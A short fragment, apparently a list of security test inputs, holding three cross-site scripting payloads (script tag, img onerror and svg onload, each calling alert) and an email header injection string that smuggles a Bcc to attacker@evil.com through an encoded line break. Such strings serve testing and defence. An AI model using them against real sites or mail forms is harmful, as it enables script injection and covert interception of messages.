<script>alert("XSS-body")</script><img src=x onerror=alert(1)>"'><svg onload=alert(1)>
test@example.com%0ABcc:attacker@evil.com